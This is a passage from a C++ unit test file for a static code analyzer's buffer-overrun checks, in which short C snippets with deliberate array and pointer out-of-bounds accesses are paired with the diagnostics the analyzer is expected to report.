pWInfo->aiCurOnePass, sizeof(int)*2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_32() {\n // destination size is too small\n check(\"void f(void) {\\n\"\n \" const char src[3] = \\\"abc\\\";\\n\"\n \" char dest[1] = \\\"a\\\";\\n\"\n \" (void)strxfrm(dest,src,1);\\n\"\n \" (void)strxfrm(dest,src,2);\\n\"// <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (error) Buffer is accessed out of bounds: dest [bufferAccessOutOfBounds]\\n\", errout_str());\n // destination size is too small\n check(\"void f(void) {\\n\"\n \" const char src[3] = \\\"abc\\\";\\n\"\n \" char dest[2] = \\\"ab\\\";\\n\"\n \" (void)strxfrm(dest,src,1);\\n\"\n \" (void)strxfrm(dest,src,2);\\n\"\n \" (void)strxfrm(dest,src,3);\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (error) Buffer is accessed out of bounds: dest [bufferAccessOutOfBounds]\\n\", errout_str());\n // source size is too small\n check(\"void f(void) {\\n\"\n \" const char src[2] = \\\"ab\\\";\\n\"\n \" char dest[3] = \\\"abc\\\";\\n\"\n \" (void)strxfrm(dest,src,1);\\n\"\n \" (void)strxfrm(dest,src,2);\\n\"\n \" (void)strxfrm(dest,src,3);\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (error) Buffer is accessed out of bounds: src [bufferAccessOutOfBounds]\\n\", errout_str());\n // source size is too small\n check(\"void f(void) {\\n\"\n \" const char src[1] = \\\"a\\\";\\n\"\n \" char dest[3] = \\\"abc\\\";\\n\"\n \" (void)strxfrm(dest,src,1);\\n\"\n \" (void)strxfrm(dest,src,2);\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:24]: (error) Buffer is accessed out of bounds: src [bufferAccessOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_33() { // #2019\n check(\"int f() {\\n\"\n \" int z[16];\\n\"\n \" for (int i=0; i<20; i++)\\n\"\n \" for (int j=0; j<20; j++)\\n\"\n \" z[i] = 0;\\n\"\n \" return z[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Array 'z[16]' accessed at index 19, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_34() { // #11035\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" int a[15] = {};\\n\"\n \" int g() const { return v.size(); }\\n\"\n \" int f(int i) const {\\n\"\n \" if (i < 0 || i >= g())\\n\"\n \" return 0;\\n\"\n \" return a[i];\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_35() { // #2304\n check(\"void f() {\\n\"\n \" char* q = \\\"0123456789\\\";\\n\"\n \" char* p = (char*)malloc(sizeof(q) + 1);\\n\"\n \" strcpy(p, q);\\n\"\n \" free(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Buffer is accessed out of bounds: p [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char* q = \\\"0123456789\\\";\\n\"\n \" char* p = (char*)malloc(1);\\n\"\n \" strcpy(p, q);\\n\"\n \" free(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Buffer is accessed out of bounds: p [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"typedef struct { char buf[1]; } S;\\n\"\n \"S* f() {\\n\"\n \" S* s = NULL;\\n\"\n \" s = (S*)malloc(sizeof(S) + 10);\\n\"\n \" sprintf((char*)s->buf, \\\"abc\\\");\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_36() { // #11708\n check(\"void f(double d) {\\n\"\n \" char a[80];\\n\"\n \" sprintf(a, \\\"%2.1f\\\", d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_errorpath() {\n setMultiline();\n const Settings settingsOld = settings0; // TODO: get rid of this\n settings0.templateLocation = \"{file}:{line}:note:{info}\";\n\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" memset(p, 0, 20);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: error: Buffer is accessed out of bounds: p [bufferAccessOutOfBounds]\\n\"\n \"[test.cpp:2:13]: note: Assign p, buffer with size 10\\n\"\n \"[test.cpp:3:12]: note: Buffer overrun\\n\", errout_str());\n\n settings0 = settingsOld;\n }\n\n void buffer_overrun_bailoutIfSwitch() {\n // No false positive\n check(\"void f1(char *s) {\\n\"\n \" if (x) s[100] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void f2() {\\n\"\n \" char a[10];\\n\"\n \" f1(a);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // No false positive\n check(\"void f1(char *s) {\\n\"\n \" if (x) return;\\n\"\n \" s[100] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void f2() {\\n\"\n \" char a[10];\\n\"\n \" f1(a);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // No false negative\n check(\"void f1(char *s) {\\n\"\n \" if (x) { }\\n\"\n \" s[100] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void f2() {\\n\"\n \" char a[10];\\n\"\n \" f1(a);\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8] -> [test.cpp:3]: (error) Array 'a[10]' accessed at index 100, which is out of bounds.\\n\", \"\", errout_str());\n }\n\n void buffer_overrun_function_array_argument() {\n setMultiline();\n\n check(\"void f(char a[10]);\\n\"\n \"void g() {\\n\"\n \" char a[2];\\n\"\n \" f(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: warning: Buffer 'a' is too small, the function 'f' expects a bigger buffer in 1st argument [argumentSize]\\n\"\n \"[test.cpp:4:5]: note: Function 'f' is called\\n\"\n \"[test.cpp:1:13]: note: Declaration of 1st function argument.\\n\"\n \"[test.cpp:3:10]: note: Passing buffer 'a' to function that is declared here\\n\"\n \"[test.cpp:4:5]: note: Buffer 'a' is too small, the function 'f' expects a bigger buffer in 1st argument\\n\", errout_str());\n\n check(\"void f(float a[10][3]);\\n\"\n \"void g() {\\n\"\n \" float a[2][3];\\n\"\n \" f(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: warning: Buffer 'a' is too small, the function 'f' expects a bigger buffer in 1st argument [argumentSize]\\n\"\n \"[test.cpp:4:5]: note: Function 'f' is called\\n\"\n \"[test.cpp:1:14]: note: Declaration of 1st function argument.\\n\"\n \"[test.cpp:3:11]: note: Passing buffer 'a' to function that is declared here\\n\"\n \"[test.cpp:4:5]: note: Buffer 'a' is too small, the function 'f' expects a bigger buffer in 1st argument\\n\", errout_str());\n\n check(\"void f(int a[20]);\\n\"\n \"void g() {\\n\"\n \" int a[2];\\n\"\n \" f(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: warning: Buffer 'a' is too small, the function 'f' expects a bigger buffer in 1st argument [argumentSize]\\n\"\n \"[test.cpp:4:5]: note: Function 'f' is called\\n\"\n \"[test.cpp:1:12]: note: Declaration of 1st function argument.\\n\"\n \"[test.cpp:3:9]: note: Passing buffer 'a' to function that is declared here\\n\"\n \"[test.cpp:4:5]: note: Buffer 'a' is too small, the function 'f' expects a bigger buffer in 1st argument\\n\", errout_str());\n\n check(\"void f(int a[]) {\\n\"\n \" switch (2) {\\n\"\n \" case 1:\\n\"\n \" a[1] = 1;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int a[1];\\n\"\n \"f(a);\\n\"\n \"\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void CreateLeafTex(unsigned char buf[256][2048][4]);\\n\"\n \"void foo() {\\n\"\n \" unsigned char(* tree)[2048][4] = new unsigned char[256][2048][4];\\n\"\n \" CreateLeafTex(tree);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a[10]) {\\n\" // #10069\n \" int i = 0;\\n\"\n \" for (i = 0; i < 10; i++)\\n\"\n \" a[i] = i * 2;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" int b[5];\\n\"\n \" f(b);\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: warning: Buffer 'b' is too small, the function 'f' expects a bigger buffer in 1st argument [argumentSize]\\n\"\n \"[test.cpp:8:5]: note: Function 'f' is called\\n\"\n \"[test.cpp:1:12]: note: Declaration of 1st function argument.\\n\"\n \"[test.cpp:7:9]: note: Passing buffer 'b' to function that is declared here\\n\"\n \"[test.cpp:8:5]: note: Buffer 'b' is too small, the function 'f' expects a bigger buffer in 1st argument\\n\",\n errout_str());\n }\n\n void possible_buffer_overrun_1() { // #3035\n check(\"void foo() {\\n\"\n \" char * data = (char *)alloca(50);\\n\"\n \" char src[100];\\n\"\n \" memset(src, 'C', 99);\\n\"\n \" src[99] = '\\\\0';\\n\"\n \" strcat(data, src);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (warning) Possible buffer overflow if strlen(src) is larger than sizeof(data)-strlen(data).\\n\", \"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char * data = (char *)alloca(100);\\n\"\n \" char src[100];\\n\"\n \" memset(src, 'C', 99);\\n\"\n \" src[99] = '\\\\0';\\n\"\n \" strcat(data, src);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char src[100]) {\\n\"\n \" char * data = (char *)alloca(50);\\n\"\n \" strcat(data, src);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (warning) Possible buffer overflow if strlen(src) is larger than sizeof(data)-strlen(data).\\n\", \"\", errout_str());\n\n check(\"void foo(char src[100]) {\\n\"\n \" char * data = (char *)alloca(100);\\n\"\n \" strcat(data, src);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char * data = (char *)alloca(50);\\n\"\n \" char src[100];\\n\"\n \" memset(src, 'C', 99);\\n\"\n \" src[99] = '\\\\0';\\n\"\n \" strcpy(data, src);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (warning) Possible buffer overflow if strlen(src) is larger than or equal to sizeof(data).\\n\", \"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char * data = (char *)alloca(100);\\n\"\n \" char src[100];\\n\"\n \" memset(src, 'C', 99);\\n\"\n \" src[99] = '\\\\0';\\n\"\n \" strcpy(data, src);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char src[100]) {\\n\"\n \" char * data = (char *)alloca(50);\\n\"\n \" strcpy(data, src);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (warning) Possible buffer overflow if strlen(src) is larger than or equal to sizeof(data).\\n\", \"\", errout_str());\n\n check(\"void foo(char src[100]) {\\n\"\n \" char * data = (char *)alloca(100);\\n\"\n \" strcpy(data, src);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_readSizeFromCfg() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" false\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n // Attempt to get size from Cfg files, no false positives if size is not specified\n check(\"void f() {\\n\"\n \" u8 str[256];\\n\"\n \" mystrcpy(str, \\\"abcd\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" u8 str[2];\\n\"\n \" mystrcpy(str, \\\"abcd\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n // The same for structs, where the message comes from a different check\n check(\"void f() {\\n\"\n \" struct { u8 str[256]; } ms;\\n\"\n \" mystrcpy(ms.str, \\\"abcd\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct { u8 str[2]; } ms;\\n\"\n \" mystrcpy(ms.str, \\\"abcd\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Buffer is accessed out of bounds: ms.str [bufferAccessOutOfBounds]\\n\", errout_str());\n }\n\n void valueflow_string() { // using ValueFlow string values in checking\n check(\"char f() {\\n\"\n \" const char *x = s;\\n\"\n \" if (cond) x = \\\"abcde\\\";\\n\"\n \" return x[20];\\n\" // <- array index out of bounds when x is \"abcde\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Array 'x[6]' accessed at index 20, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void pointer_out_of_bounds_1() {\n // extracttests.start: void dostuff(char *);\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" char *p = a + 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (portability) Undefined behaviour, pointer arithmetic 'a+100' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"char *f() {\\n\"\n \" char a[10];\\n\"\n \" return a + 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (portability) Undefined behaviour, pointer arithmetic 'a+100' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" char x[10];\\n\"\n \" if (i == 123) {}\\n\"\n \" dostuff(x+i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:14]: (portability) Undefined behaviour, when 'i' is 123 the pointer arithmetic 'x+i' is out of bounds. [pointerOutOfBoundsCond]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" char x[10];\\n\"\n \" if (i == -1) {}\\n\"\n \" dostuff(x+i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:14]: (portability) Undefined behaviour, when 'i' is -1 the pointer arithmetic 'x+i' is out of bounds. [pointerOutOfBoundsCond]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #6350 - fp when there is cast of buffer\n \" wchar_t buf[64];\\n\"\n \" p = (unsigned char *) buf + sizeof (buf);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" const char d[] = \\\"0123456789\\\";\\n\"\n \" char *cp = d + 3;\\n\"\n \" return cp - d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pointer_out_of_bounds_2() {\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" p += 100;\\n\"\n \" free(p);\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (portability) Undefined behaviour, pointer arithmetic 'p+100' is out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" p += 10;\\n\"\n \" *p = 0;\\n\"\n \" free(p);\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) p is out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" p += 10;\\n\"\n \" p -= 10;\\n\"\n \" *p = 0;\\n\"\n \" free(p);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" p += 10;\\n\"\n \" p = p - 1;\\n\"\n \" *p = 0;\\n\"\n \" free(p);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pointer_out_of_bounds_3() {\n check(\"struct S { int a[10]; };\\n\"\n \"void f(struct S *s) {\\n\"\n \" int *p = s->a + 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (portability) Undefined behaviour, pointer arithmetic 's->a+100' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"template class Vector\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void test() const;\\n\"\n \" T* data();\\n\"\n \"};\\n\"\n \"template \\n\"\n \"void Vector::test() const\\n\"\n \"{\\n\"\n \" const T* PDat = data();\\n\"\n \" const T* P2 = PDat + 1;\\n\"\n \" const T* P1 = P2 - 1;\\n\"\n \"}\\n\"\n \"Vector> Foo;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pointer_out_of_bounds_4() {\n check(\"const char* f() {\\n\"\n \" g(\\\"Hello\\\" + 6);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char* f() {\\n\"\n \" g(\\\"Hello\\\" + 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (portability) Undefined behaviour, pointer arithmetic '\\\"Hello\\\"+7' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"const char16_t* f() {\\n\"\n \" g(u\\\"Hello\\\" + 6);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char16_t* f() {\\n\"\n \" g(u\\\"Hello\\\" + 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Undefined behaviour, pointer arithmetic 'u\\\"Hello\\\"+7' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4647\n \" int val = 5;\\n\"\n \" std::string hi = \\\"hi\\\" + val;\\n\"\n \" std::cout << hi << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (portability) Undefined behaviour, pointer arithmetic '\\\"hi\\\"+val' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"void f(const char* s, int len) {\\n\" // #11026\n \" const char* end = s + len;\\n\"\n \" printf(\\\"%s, %d\\\\n\\\", s, *end);\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(\\\"a\\\", 1);\\n\"\n \" f(\\\"bbb\\\", 3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, const char* a) {\\n\" // #11140\n \" (void)a[i];\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" for (int i = 0; \\\"01234\\\"[i]; ++i)\\n\"\n \" f(i, \\\"56789\\\");\\n\"\n \"}\\n\"\n \"void h() {\\n\"\n \" for (int i = 0; \\\"012\\\"[i]; ++i)\\n\"\n \" f(i, \\\"345\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pointer_out_of_bounds_5() { // #10227\n check(\"int foo(char str[6]) {\\n\"\n \" return !((0 && *(\\\"STRING\\\" + 14) == 0) || memcmp(str, \\\"STRING\\\", 6) == 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pointer_out_of_bounds_sub() {\n // extracttests.start: void dostuff(char *);\n\n check(\"char *f() {\\n\"\n \" char x[10];\\n\"\n \" return x-1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (portability) Undefined behaviour, pointer arithmetic 'x-1' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" char x[10];\\n\"\n \" if (i == 123) {}\\n\"\n \" dostuff(x-i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:14]: (portability) Undefined behaviour, when 'i' is 123 the pointer arithmetic 'x-i' is out of bounds. [pointerOutOfBoundsCond]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" char x[10];\\n\"\n \" if (i == -20) {}\\n\"\n \" dostuff(x-i);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (portability) Undefined behaviour, when 'i' is -20 the pointer arithmetic 'x-i' is out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f(const char *x[10]) {\\n\"\n \" return x-4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void strcat1() {\n check(\"struct Foo { char a[4]; };\\n\"\n \"void f() {\\n\"\n \" struct Foo x = {0};\\n\"\n \" strcat(x.a, \\\"aa\\\");\\n\"\n \" strcat(x.a, \\\"aa\\\");\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n }\n\n void varid1() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char str[10];\\n\"\n \" if (str[0])\\n\"\n \" {\\n\"\n \" char str[50];\\n\"\n \" str[30] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varid2() { // #4764\n check(\"struct foo {\\n\"\n \" void bar() { return; }\\n\"\n \" type<> member[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assign1() {\n check(\"char str[3] = {'a', 'b', 'c'};\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" str[3] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (error) Array 'str[3]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void alloc_new() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char *s; s = new char[10];\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 's[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // ticket #1670 - false negative when using return\n check(\"char f()\\n\"\n \"{\\n\"\n \" int *s; s = new int[10];\\n\"\n \" return s[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Array 's[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct Fred { char c[10]; };\\n\"\n \"char f()\\n\"\n \"{\\n\"\n \" Fred *f; f = new Fred;\\n\"\n \" return f->c[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (error) Array 'f->c[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"static const size_t MAX_SIZE = UNAVAILABLE_TO_CPPCHECK;\\n\"\n \"struct Thing { char data[MAX_SIZE]; };\\n\"\n \"char f4(const Thing& t) { return !t.data[0]; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char * buf; buf = new char[8];\\n\"\n \" buf[7] = 0;\\n\"\n \" delete [] buf;\\n\"\n \" buf = new char[9];\\n\"\n \" buf[8] = 0;\\n\"\n \" delete [] buf;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char * buf; buf = new char[8];\\n\"\n \" buf[7] = 0;\\n\"\n \" delete [] buf;\\n\"\n \" buf = new char[9];\\n\"\n \" buf[9] = 0;\\n\"\n \" delete [] buf;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:6]: (error) Array 'buf[9]' accessed at index 9, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" enum E { Size = 10 };\\n\"\n \" char *s; s = new char[Size];\\n\"\n \" s[Size] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (error) Array 's[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" enum E { ZERO };\\n\"\n \" E *e; e = new E[10];\\n\"\n \" e[10] = ZERO;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (error) Array 'e[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n // data is allocated with malloc\n void alloc_malloc() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char *s; s = (char *)malloc(10);\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 's[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // ticket #842\n check(\"void f() {\\n\"\n \" int *tab4 = (int *)malloc(20 * sizeof(int));\\n\"\n \" tab4[20] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Array 'tab4[20]' accessed at index 20, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // ticket #1478\n check(\"void foo() {\\n\"\n \" char *p = (char *)malloc(10);\\n\"\n \" free(p);\\n\"\n \" p = (char *)malloc(10);\\n\"\n \" p[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (error) Array 'p[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // ticket #1134\n check(\"void f() {\\n\"\n \" int *x, i;\\n\"\n \" x = (int *)malloc(10 * sizeof(int));\\n\"\n \" x[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 'x[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *tab4; tab4 = malloc(20 * sizeof(int));\\n\"\n \" tab4[19] = 0;\\n\"\n \" free(tab4);\\n\"\n \" tab4 = malloc(21 * sizeof(int));\\n\"\n \" tab4[20] = 0;\\n\"\n \" free(tab4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *tab4 = malloc(20 * sizeof(int));\\n\"\n \" tab4[19] = 0;\\n\"\n \" tab4 = realloc(tab4,21 * sizeof(int));\\n\"\n \" tab4[20] = 0;\\n\"\n \" free(tab4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum E { Size = 20 };\\n\"\n \" E *tab4 = (E *)malloc(Size * 4);\\n\"\n \" tab4[Size] = Size;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Array 'tab4[20]' accessed at index 20, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum E { Size = 20 };\\n\"\n \" E *tab4 = (E *)malloc(4 * Size);\\n\"\n \" tab4[Size] = Size;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Array 'tab4[20]' accessed at index 20, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum E { ZERO };\\n\"\n \" E *tab4 = (E *)malloc(20 * sizeof(E));\\n\"\n \" tab4[20] = ZERO;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Array 'tab4[20]' accessed at index 20, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #8721\n \" unsigned char **cache = malloc(32);\\n\"\n \" cache[i] = malloc(65536);\\n\"\n \" cache[i][0xFFFF] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int **a = malloc(2 * sizeof(int*));\\n\"\n \" for (int i = 0; i < 3; i++)\\n\"\n \" a[i] = NULL;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 'a[2]' accessed at index 2, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int **a = new int*[2];\\n\"\n \" for (int i = 0; i < 3; i++)\\n\"\n \" a[i] = NULL;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 'a[2]' accessed at index 2, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n // statically allocated buffer\n void alloc_string() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" const char *s = \\\"123\\\";\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 's[4]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char *s; s = \\\"\\\";\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 's[1]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const char *s = \\\"\\\";\\n\"\n \" s = y();\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\" // #7718\n \"{\\n\"\n \" std::string s = \\\"123\\\";\\n\"\n \" s.resize(100);\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", 